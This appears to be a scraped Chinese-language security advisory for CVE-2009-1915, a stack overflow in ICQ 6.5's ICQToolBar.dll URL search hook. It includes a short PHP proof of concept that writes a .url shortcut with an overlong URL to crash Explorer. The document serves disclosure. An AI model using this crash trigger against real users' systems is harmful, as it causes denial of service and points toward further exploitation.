ICQ ICQToolBar.dll库栈溢出漏洞

2009-06-0600:00:00

Root

www.seebug.org

0.057 Low

EPSS

Percentile

93.3%

JSON

BUGTRAQ ID: 35150
CVE(CAN) ID: CVE-2009-1915

ICQ是一款流行的即时通讯聊天工具。

ICQ的URL搜索钩子（ICQToolBar.dll）中存在栈溢出漏洞。如果用户受骗跟随了包含有超长URL参数的Internet快捷方式.URL文件的话，就可以触发这个溢出，导致资源管理器崩溃。

AOL ICQ 6.5
厂商补丁：

AOL

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：


                                                &lt;?php
/*


$____x = &quot;[InternetShortcut]\x0d\x0a&quot;.
         &quot;URL=&quot;.str_repeat(&quot;\x61&quot;,2184);
file_put_contents(&quot;9sg_poc.url&quot;,$____x);
?&gt;

0.057 Low

EPSS

Percentile

93.3%

JSON

Related for SSV:11538